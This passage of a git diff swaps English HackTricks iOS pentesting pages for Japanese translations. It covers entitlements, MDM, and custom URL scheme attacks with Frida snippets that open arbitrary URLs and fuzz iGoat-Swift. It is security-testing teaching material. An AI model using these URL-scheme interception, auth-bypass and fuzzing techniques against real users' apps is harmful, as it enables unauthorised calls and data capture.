[`UIRequiredDeviceCapabilities`](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple\_ref/doc/plist/info/UIRequiredDeviceCapabilities) key. +## デバイスの機能 +デバイスの機能は、App Storeが互換性のあるデバイスのみをリストアップし、アプリのダウンロードを許可するために使用されます。これらは、アプリの`Info.plist`ファイルの[`UIRequiredDeviceCapabilities`](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple\_ref/doc/plist/info/UIRequiredDeviceCapabilities)キーの下に指定されます。 ```markup UIRequiredDeviceCapabilities - armv7 +armv7 ``` +> 通常、`armv7`の能力が見つかります。これは、アプリがarmv7命令セットのみにコンパイルされていることを意味します。または、32/64ビットのユニバーサルアプリの場合です。 -> Typically you'll find the `armv7` capability, meaning that the app is compiled only for the armv7 instruction set, or if it’s a 32/64-bit universal app. +たとえば、アプリが完全にNFCに依存している場合(例:["NFC Tag Reader"](https://itunes.apple.com/us/app/nfc-taginfo-by-nxp/id1246143596)アプリ)、[iOSデバイス互換性リファレンス(アーカイブ版)](https://developer.apple.com/library/archive/documentation/DeviceInformation/Reference/iOSDeviceCompatibility/DeviceCompatibilityMatrix/DeviceCompatibilityMatrix.html)によると、NFCはiPhone 7(およびiOS 11)から利用可能です。開発者は、`nfc`デバイスの能力を設定することで、すべての非互換デバイスを除外することができます。 -For example, an app might be completely dependent on NFC to work (e.g. a ["NFC Tag Reader"](https://itunes.apple.com/us/app/nfc-taginfo-by-nxp/id1246143596) app). According to the [archived iOS Device Compatibility Reference](https://developer.apple.com/library/archive/documentation/DeviceInformation/Reference/iOSDeviceCompatibility/DeviceCompatibilityMatrix/DeviceCompatibilityMatrix.html), NFC is only available starting on the iPhone 7 (and iOS 11). A developer might want to exclude all incompatible devices by setting the `nfc` device capability. +## エンタイトルメント -## Entitlements - -> Entitlements are key value pairs that are signed in to an app and allow authentication beyond runtime factors, like UNIX user ID. Since entitlements are digitally signed, they can’t be changed. Entitlements are used extensively by system apps and daemons to **perform specific privileged operations that would otherwise require the process to run as root**. This greatly reduces the potential for privilege escalation by a compromised system app or daemon. - -For example, if you want to set the "Default Data Protection" capability, you would need to go to the **Capabilities** tab in Xcode and enable **Data Protection**. This is directly written by Xcode to the `.entitlements` file as the `com.apple.developer.default-data-protection` entitlement with default value `NSFileProtectionComplete`. In the IPA we might find this in the `embedded.mobileprovision` as: +> エンタイトルメントは、ランタイム要因のようなものを超えた認証を可能にする、アプリに署名されたキーバリューペアです。エンタイトルメントはデジタルに署名されているため、変更することはできません。エンタイトルメントは、システムアプリやデーモンが特定の特権操作を実行するために広範に使用されます。これにより、侵害されたシステムアプリやデーモンによる特権エスカレーションの可能性が大幅に低下します。 +たとえば、「デフォルトのデータ保護」機能を設定したい場合、Xcodeの**Capabilities**タブに移動し、**Data Protection**を有効にする必要があります。これは、Xcodeによって`.entitlements`ファイルに直接書き込まれ、デフォルト値`NSFileProtectionComplete`を持つ`com.apple.developer.default-data-protection`エンタイトルメントとして記述されます。IPA内では、これを`embedded.mobileprovision`内に見つけることができます。 ```markup Entitlements - ... - com.apple.developer.default-data-protection - NSFileProtectionComplete +... +com.apple.developer.default-data-protection +NSFileProtectionComplete ``` +他の機能(例:HealthKit)については、ユーザーに許可を求める必要があります。そのため、エンタイトルメントを追加するだけでは十分ではありません。アプリの`Info.plist`ファイルに特別なキーと文字列を追加する必要があります。 -For other capabilities such as HealthKit, the user has to be asked for permission, therefore it is not enough to add the entitlements, special keys and strings have to be added to the `Info.plist` file of the app. +# Objective-CとSwiftの基礎 -# Objective-C and Swift Basics +**Objective-C**は**動的なランタイム**を持っているため、iOSでObjective-Cプログラムが実行されると、メッセージで送信された関数の名前を使用して、利用可能なすべての関数名のリストと比較して、ランタイムで関数のアドレスを解決します。 -**Objecttive-C** has a **dynamic runtime**, so when an Objective-C program is executed in iOS, it calls libraries whose **address are resolved at runtime** by comparing the name of the function sent in the message against a list of all the function names available. +最初は、Appleが作成したアプリのみがiPhoneで実行され、信頼されていたため、彼らは**すべてにアクセスできました**。しかし、Appleが**サードパーティのアプリケーションを許可**すると、Appleは強力な関数のヘッダーファイルを削除して、開発者にそれらを「隠しました」。しかし、開発者は「安全な」関数にはこれらの未公開の関数が必要であることに気付き、未公開の関数の名前を含む**カスタムヘッダーファイルを作成するだけで、この強力な隠し関数を呼び出すことができました**。実際、Appleはアプリを公開する前に、そのアプリがこれらの禁止された関数のいずれかを呼び出しているかどうかをチェックします。 -At the beginning, only apps created by Apple run the iPhones, so they had **access to everything** as they were **trusted**. However, when Apple **allowed** **third party applications,** Apple just removed the headers files of the powerful functions to "hide" them to developers. However, developers found that "safe" functions needed a few of these undocumented functions and just creating a **custom header file with the names of the undocumented functions, it was possible to invoke this powerful hidden functions.** Actually, Apple, before allowing an app to be published, check if the app calls any of these prohibited functions. +そして、Swiftが登場しました。**Swiftは静的にバインド**されているため(Objective-Cのようにランタイムで関数のアドレスを解決しない)、Swiftプログラムが行う呼び出しを静的なコード解析でより簡単にチェックできます。 -Then, Swift appeared. As **Swift is statically bound** (it doesn't resolve the address of the functions in runtime like Objective-C), it can be checked more easily the calls a Swift program is going to make via static code analysis. +# デバイス管理 -# Device Management +iOSバージョン6以降、デバイス管理機能の**組み込みサポート**があり、組織が企業のAppleデバイスを制御できる細かい制御が可能です。\ +登録は、ユーザーがエージェントをインストールして企業のアプリにアクセスすることで開始できます。この場合、デバイスは通常、ユーザーの所有です。\ +または、企業は購入したデバイスのシリアル番号や注文IDを指定し、それらのデバイスにインストールするMDMプロファイルを指定することができます。ただし、Appleはこの方法で特定のデバイスを2回登録することを許可していません。最初のプロファイルが削除されると、別のプロファイルをインストールするためにユーザーの同意が必要です。 -From iOS version 6, there is **built-in support for device management** capability with fine grain controls that allows an organisation to control the corporate apple devices.\ -The enrolment can be **initiated by the user installing an agent** in order to access the corporate apps. In this case the device usually belongs to the user.\ -Or the **company can indicate the serial numbers** of the bought devices or the purchase order ID and specify the MDM profile to install on those devices. Note that Apple **doesn't allow to enrol a particular device this way twice**. Once the first profile is deleted the user needs to give consent to install another one. +ユーザーは、_**設定**_ --> _**一般**_ --> _**プロファイルとデバイス管理**_でインストールされたポリシーを確認できます。 -The user can see the installed policies in _**Settings**_ --> _**General**_ --> _**Profile and Device Management**_ +これらのMDMポリシーは他のアプリケーションをチェックおよび制限するため、**より高い特権で実行**されます。\ +MDMポリシーは、ユーザーに**パスコード**の設定を強制することができます。パスワードの**複雑さ**には**最小**の要件があります。\ +プロファイルはデバイスIDに紐づけられ、MDMサーバーによって**署名**され、**暗号化**され、**改ざん**できないようになっています。これらは**削除**することができず、削除するとすべての企業データが失われます。\ +MDMプロファイルにより、X回の**パスワード誤り**がある場合にはすべてのデータを**消去**することができます。また、管理者はMDMインターフェースを介していつでもiPhoneを**リモートワイプ**することができます。 -As these MDM policies are checking and limiting other applications, they are **running with more privileges**.\ -A MDM policy can **enforce** **users** to have a **passcode** set with a **minimun** password **complexity**.\ -The profiles are tied to the deviceID, **signed** and **encrypted** by the MDM server and **tamper** **proof**. They **cannot** be **removed** without **losing** all the **corporate** **data**.\ -MDM profiles allow to **wipe** all the **data** if there are X **failed** password **attempts**. Also, the **admin** can **remote** **wipe** the iPhone whenever via the MDM interface. - -MDM agents will **check** also for **possible jailbreaks of the device**, as this is very dangerous state for an iPhone. +MDMエージェントは、デバイスの**脱獄**の可能性も**チェック**します。なぜなら、これはiPhoneにとって非常に危険な状態だからです。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンやHackTricksのPDFをダウンロードしたいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください**。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
- - diff --git a/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md b/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md index c9000253a..cd09a11fe 100644 --- a/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md +++ b/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md @@ -1,120 +1,109 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-Custom URL schemes [allow apps to communicate via a custom protocol](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple\_ref/doc/uid/TP40007072-CH6-SW1). An app must declare support for the schemes and handle incoming URLs that use those schemes. +カスタムURLスキームは、アプリがカスタムプロトコルを介して通信することを可能にします。アプリはスキームを宣言し、それらのスキームを使用する着信URLを処理する必要があります。 -> URL schemes offer a potential attack vector into your app, so make sure to **validate all URL parameters** and **discard any malformed URLs**. In addition, limit the available **actions** to those that d**o not risk the user’s data**. +> URLスキームは、アプリへの潜在的な攻撃経路を提供するため、**すべてのURLパラメータを検証**し、**形式が正しくないURLを破棄**するようにしてください。さらに、ユーザーのデータを危険にさらすことのない**利用可能なアクションを制限**してください。 -For example, the URI: `myapp://hostname?data=123876123` will **invoke** the **application** mydata (the one that has **register** the scheme `mydata`) to the **action** related to the **hostname** `hostname` sending the **parameter** `data` with value `123876123` +例えば、URI `myapp://hostname?data=123876123` は、スキーム `mydata` を登録しているアプリケーション(`mydata` というアプリケーション)の、`hostname` に関連する**アクション**を呼び出し、値が `123876123` の**パラメータ** `data` を送信します。 -One vulnerable example is the following [bug in the Skype Mobile app](http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html), discovered in 2010: The Skype app registered the `skype://` protocol handler, which **allowed other apps to trigger calls to other Skype users and phone numbers**. Unfortunately, Skype didn't ask users for permission before placing the calls, so any app could call arbitrary numbers without the user's knowledge. Attackers exploited this vulnerability by putting an invisible `` (where `xxx` was replaced by a premium number), so any Skype user who inadvertently visited a malicious website called the premium number. - -You can find the **schemes registered by an application** in the app's **`Info.plist`** file searching for **`CFBundleURLTypes`** (example from [iGoat-Swift](https://github.com/OWASP/iGoat-Swift)): +脆弱な例として、2010年に発見されたSkype Mobileアプリの次の[バグ](http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html)があります。Skypeアプリは `skype://` プロトコルハンドラを登録しており、他のアプリが他のSkypeユーザーや電話番号に対して通話をトリガーできるようにしていました。残念ながら、Skypeは通話を行う前にユーザーに許可を求めることなく、任意の番号に電話をかけることができました。攻撃者は、不可視の ``(`xxx` はプレミアム番号に置き換えられる)を設置することで、誤って悪意のあるウェブサイトを訪れたSkypeユーザーはプレミアム番号に電話をかけてしまいました。 +アプリケーションが登録した**スキーム**は、アプリの **`Info.plist`** ファイルで **`CFBundleURLTypes`** を検索することで見つけることができます([iGoat-Swift](https://github.com/OWASP/iGoat-Swift)の例)。 ```markup CFBundleURLTypes - - CFBundleURLName - com.iGoat.myCompany - CFBundleURLSchemes - - iGoat - - + +CFBundleURLName +com.iGoat.myCompany +CFBundleURLSchemes + +iGoat + + ``` +ただし、**悪意のあるアプリケーションは、既に登録されているURIを再登録することができます**。したがって、URIを介して**機密情報を送信している場合**(myapp://hostname?password=123456)、**悪意のある**アプリケーションは**機密情報を傍受**することができます。 -However, note that **malicious applications can re-register URIs** already registered by applications. So, if you are sending **sensitive information via URIs** (myapp://hostname?password=123456) a **malicious** application can **intercept** the URI with the **sensitive** **information**. +また、これらのURIの入力は、SQLインジェクション、XSS、CSRF、パストラバーサル、または他の可能な脆弱性を悪用しようとする**悪意のある****元**から来る可能性があるため、**チェックおよびサニタイズ**する必要があります。 -Also, the input of these URIs **should be checked and sanitised,** as it can be coming from **malicious** **origins** trying to exploit SQLInjections, XSS, CSRF, Path Traversals, or other possible vulnerabilities. - -## Application Query Schemes Registration - -Apps can call [`canOpenURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc) to verify that the **target app is available**. However, as this method was being used by malicious app as a way to **enumerate installed apps**, [from iOS 9.0 the URL schemes passed to it must be also declared](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc#discussion) by adding the `LSApplicationQueriesSchemes` key to the app's `Info.plist` file and an array of **up to 50 URL schemes**. +## アプリケーションクエリスキームの登録 +アプリは[`canOpenURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc)を呼び出して、**対象のアプリが利用可能かどうか**を確認できます。ただし、このメソッドは、悪意のあるアプリによる**インストールされたアプリの列挙**の手段として使用されていたため、[iOS 9.0以降では、それに渡されるURLスキームも宣言する必要があります](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc#discussion)。これは、アプリの`Info.plist`ファイルに`LSApplicationQueriesSchemes`キーと最大50個のURLスキームの配列を追加することで行います。 ```markup LSApplicationQueriesSchemes - - url_scheme1 - url_scheme2 - + +url_scheme1 +url_scheme2 + ``` +`canOpenURL`は、適切なアプリがインストールされているかどうかに関係なく、未宣言のスキームに対して常に`NO`を返します。ただし、この制限は`canOpenURL`にのみ適用されます。 -`canOpenURL` will always return `NO` for undeclared schemes, whether or not an appropriate app is installed. However, this restriction only applies to `canOpenURL`. +## URLハンドリングと検証のテスト -## Testing URL Handling and Validation +URLパスがどのように構築され、検証されるかを判断するために、元のソースコードがある場合は、次のメソッドを検索できます: -In order to determine how a URL path is built and validated, if you have the original source code, you can **search for the following methods**: - -* `application:didFinishLaunchingWithOptions:` method or `application:will-FinishLaunchingWithOptions:`: verify how the decision is made and how the information about the URL is retrieved. -* [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc): verify how the resource is being opened, i.e. how the data is being parsed, verify the [options](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey), especially if access by the calling app ([`sourceApplication`](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey/1623128-sourceapplication)) should be allowed or denied. The app might also need user permission when using the custom URL scheme. - -In Telegram you will [find four different methods being used](https://github.com/peter-iakovlev/Telegram-iOS/blob/87e0a33ac438c1d702f2a0b75bf21f26866e346f/Telegram-iOS/AppDelegate.swift#L1250): +* `application:didFinishLaunchingWithOptions:`メソッドまたは`application:will-FinishLaunchingWithOptions:`:決定がどのように行われ、URLに関する情報がどのように取得されるかを確認します。 +* [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc):リソースがどのように開かれているか、つまりデータがどのように解析されているかを確認します。特に呼び出し元アプリケーション([`sourceApplication`](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey/1623128-sourceapplication))によるアクセスが許可または拒否されるかどうかを確認します。カスタムURLスキームを使用する場合、アプリはユーザーの許可も必要とする場合があります。 +Telegramでは、[4つの異なるメソッドが使用されています](https://github.com/peter-iakovlev/Telegram-iOS/blob/87e0a33ac438c1d702f2a0b75bf21f26866e346f/Telegram-iOS/AppDelegate.swift#L1250): ```swift func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool { - self.openUrl(url: url) - return true +self.openUrl(url: url) +return true } func application(_ application: UIApplication, open url: URL, sourceApplication: String?, annotation: Any) -> Bool { - self.openUrl(url: url) - return true +self.openUrl(url: url) +return true } func application(_ app: UIApplication, open url: URL, options: [UIApplicationOpenURLOptionsKey : Any] = [:]) -> Bool { - self.openUrl(url: url) - return true +self.openUrl(url: url) +return true } func application(_ application: UIApplication, handleOpen url: URL) -> Bool { - self.openUrl(url: url) - return true +self.openUrl(url: url) +return true } ``` +## 他のアプリへのURLリクエストのテスト -## Testing URL Requests to Other Apps - -The method [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) and the [deprecated `openURL:` method of `UIApplication`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc) are responsible for **opening URLs** (i.e. to send requests / make queries to other apps) that may be local to the current app or it may be one that must be provided by a different app. If you have the original source code you can search directly for usages of those methods. - -Additionally, if you are interested into knowing if the app is querying specific services or apps, and if the app is well-known, you can also search for common URL schemes online and include them in your **greps (l**[**ist of iOS app schemes**](https://ios.gadgethacks.com/how-to/always-updated-list-ios-app-url-scheme-names-paths-for-shortcuts-0184033/)**)**. +[`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc)メソッドと[非推奨の`UIApplication`の`openURL:`メソッド](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc)は、**URLを開く**責任を持っています(つまり、他のアプリにリクエストを送信/クエリを作成するためのURL)。これは、現在のアプリにローカルな場合もあれば、別のアプリによって提供される必要がある場合もあります。元のソースコードがある場合は、これらのメソッドの使用法を直接検索できます。 +さらに、特定のサービスやアプリをクエリしているかどうか、そしてアプリがよく知られている場合は、オンラインで一般的なURLスキームを検索し、**grep(iOSアプリスキームのリスト)**に含めることもできます。[**iOSアプリのURLスキーム名とパスの常に更新されたリスト**](https://ios.gadgethacks.com/how-to/always-updated-list-ios-app-url-scheme-names-paths-for-shortcuts-0184033/)を参照してください。 ```bash egrep -nr "open.*options.*completionHandler" ./Telegram-iOS/ egrep -nr "openURL\(" ./Telegram-iOS/ egrep -nr "mt-encrypted-file://" ./Telegram-iOS/ egrep -nr "://" ./Telegram-iOS/ ``` +## 廃止予定のメソッドのテスト -## Testing for Deprecated Methods - -Search for deprecated methods like: +以下のような廃止予定のメソッドを検索します: * [`application:handleOpenURL:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1622964-application?language=objc) * [`openURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc) * [`application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application) -For example, here we find those three: - +例えば、以下の3つが見つかります: ```bash $ rabin2 -zzq Telegram\ X.app/Telegram\ X | grep -i "openurl" @@ -127,60 +116,58 @@ $ rabin2 -zzq Telegram\ X.app/Telegram\ X | grep -i "openurl" 0x1000df772 35 34 openURL:options:completionHandler: ... ``` +## 任意のURLの呼び出し -## Calling arbitrary URLs - -* **Safari**: To quickly test one URL scheme you can open the URLs on Safari and observe how the app behaves. For example, if you write `tel://123456789` safari will try to start calling the number. -* **Notes App**: Long press the links you've written in order to test custom URL schemes. Remember to exit the editing mode in order to be able to open them. Note that you can click or long press links including custom URL schemes only if the app is installed, if not they won't be highlighted as _clickable links_. +* **Safari**: 1つのURLスキームを素早くテストするには、SafariでURLを開き、アプリの動作を観察します。たとえば、`tel://123456789`と書くと、Safariはその番号を呼び出そうとします。 +* **Notes App**: カスタムURLスキームをテストするために、書いたリンクを長押しします。開くためには編集モードを終了する必要があります。アプリがインストールされていない場合、カスタムURLスキームを含むリンクをクリックまたは長押しすることはできません。 * [**IDB**](https://github.com/facebook/idb): - * Start IDB, connect to your device and select the target app. You can find details in the [IDB documentation](https://www.idbtool.com/documentation/setup.html). - * Go to the **URL Handlers** section. In **URL schemes**, click **Refresh**, and on the left you'll find a list of all custom schemes defined in the app being tested. You can load these schemes by clicking **Open**, on the right side. By simply opening a blank URI scheme (e.g., opening `myURLscheme://`), you can discover hidden functionality (e.g., a debug window) and bypass local authentication. +* IDBを起動し、デバイスに接続し、対象のアプリを選択します。詳細は[IDBのドキュメント](https://www.idbtool.com/documentation/setup.html)を参照してください。 +* **URL Handlers**セクションに移動します。**URL schemes**で、**Refresh**をクリックすると、テスト対象のアプリで定義されているすべてのカスタムスキームのリストが左側に表示されます。これらのスキームは、右側の**Open**をクリックして読み込むことができます。単に空のURIスキーム(たとえば、`myURLscheme://`を開くことで、隠された機能(たとえば、デバッグウィンドウ)を発見したり、ローカル認証をバイパスしたりすることができます。 * **Frida**: - If you simply want to open the URL scheme you can do it using Frida: +URLスキームを単純に開きたい場合は、Fridaを使用して次のように行うことができます: - ```javascript - $ frida -U iGoat-Swift +```javascript +$ frida -U iGoat-Swift - [iPhone::iGoat-Swift]-> function openURL(url) { - var UIApplication = ObjC.classes.UIApplication.sharedApplication(); - var toOpen = ObjC.classes.NSURL.URLWithString_(url); - return UIApplication.openURL_(toOpen); - } - [iPhone::iGoat-Swift]-> openURL("tel://234234234") - true - ``` +[iPhone::iGoat-Swift]-> function openURL(url) { +var UIApplication = ObjC.classes.UIApplication.sharedApplication(); +var toOpen = ObjC.classes.NSURL.URLWithString_(url); +return UIApplication.openURL_(toOpen); +} +[iPhone::iGoat-Swift]-> openURL("tel://234234234") +true +``` - In this example from [Frida CodeShare](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) the author uses the non-public API `LSApplicationWorkspace.openSensitiveURL:withOptions:` to open the URLs (from the SpringBoard app): +この[Frida CodeShare](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/)の例では、作者は非公開のAPI `LSApplicationWorkspace.openSensitiveURL:withOptions:` を使用してURLを開きます(SpringBoardアプリから): - ```javascript - function openURL(url) { - var w = ObjC.classes.LSApplicationWorkspace.defaultWorkspace(); - var toOpen = ObjC.classes.NSURL.URLWithString_(url); - return w.openSensitiveURL_withOptions_(toOpen, null); - } - ``` +```javascript +function openURL(url) { +var w = ObjC.classes.LSApplicationWorkspace.defaultWorkspace(); +var toOpen = ObjC.classes.NSURL.URLWithString_(url); +return w.openSensitiveURL_withOptions_(toOpen, null); +} +``` - > Note that the use of non-public APIs is not permitted on the App Store, that's why we don't even test these but we are allowed to use them for our dynamic analysis. +> 非公開のAPIの使用はApp Storeでは許可されていません。そのため、これらをテストすることはありませんが、動的解析には使用することができます。 -## Fuzzing URL Schemes +## URLスキームのファジング -If the app parses parts of the URL, you can also perform input fuzzing to detect memory corruption bugs. +アプリがURLの一部を解析する場合、メモリの破損バグを検出するために入力ファジングを実行することもできます。 -What we have learned above can be now used to build your own fuzzer on the language of your choice, e.g. in Python and call the `openURL` using [Frida's RPC](https://www.frida.re/docs/javascript-api/#rpc). That fuzzer should do the following: +上記で学んだことを利用して、自分の選んだ言語(たとえばPython)で独自のファズツールを構築し、[FridaのRPC](https://www.frida.re/docs/javascript-api/#rpc)を使用して`openURL`を呼び出すことができます。そのファズツールは以下のことを行う必要があります: -* Generate payloads. -* For each of them call `openURL`. -* Check if the app generates a crash report (`.ips`) in `/private/var/mobile/Library/Logs/CrashReporter`. +* ペイロードを生成する。 +* それぞれのペイロードに対して`openURL`を呼び出す。 +* アプリが`/private/var/mobile/Library/Logs/CrashReporter`にクラッシュレポート(`.ips`)を生成するかどうかを確認する。 -The [FuzzDB](https://github.com/fuzzdb-project/fuzzdb) project offers fuzzing dictionaries that you can use as payloads. +[FuzzDB](https://github.com/fuzzdb-project/fuzzdb)プロジェクトは、ペイロードとして使用できるファジング辞書を提供しています。 -## **Fuzzing Using Frida** +## Fridaを使用したファジング -Doing this with Frida is pretty easy, you can refer to this [blog post](https://grepharder.github.io/blog/0x03\_learning\_about\_universal\_links\_and\_fuzzing\_url\_schemes\_on\_ios\_with\_frida.html) to see an example that fuzzes the iGoat-Swift app (working on iOS 11.1.2). - -Before running the fuzzer we need the URL schemes as inputs. From the static analysis we know that the iGoat-Swift app supports the following URL scheme and parameters: `iGoat://?contactNumber={0}&message={0}`. +Fridaを使用してこれを行うのは非常に簡単です。[このブログ記事](https://grepharder.github.io/blog/0x03\_learning\_about\_universal\_links\_and\_fuzzing\_url\_schemes\_on\_ios\_with\_frida.html)を参照して、iOS 11.1.2で動作するiGoat-Swiftアプリをファジングする例をご覧ください。 +ファズツールを実行する前に、入力としてURLスキームが必要です。静的解析から、iGoat-Swiftアプリが以下のURLスキームとパラメータをサポートしていることがわかっています: `iGoat://?contactNumber={0}&message={0}`. ```bash $ frida -U SpringBoard -l ios-url-scheme-fuzzing.js [iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}") @@ -188,8 +175,7 @@ Watching for crashes from iGoat... No logs were moved. Opened URL: iGoat://?contactNumber=0&message=0 ``` - -# References +# 参考文献 {% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %} @@ -199,16 +185,14 @@ Opened URL: iGoat://?contactNumber=0&message=0 ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- 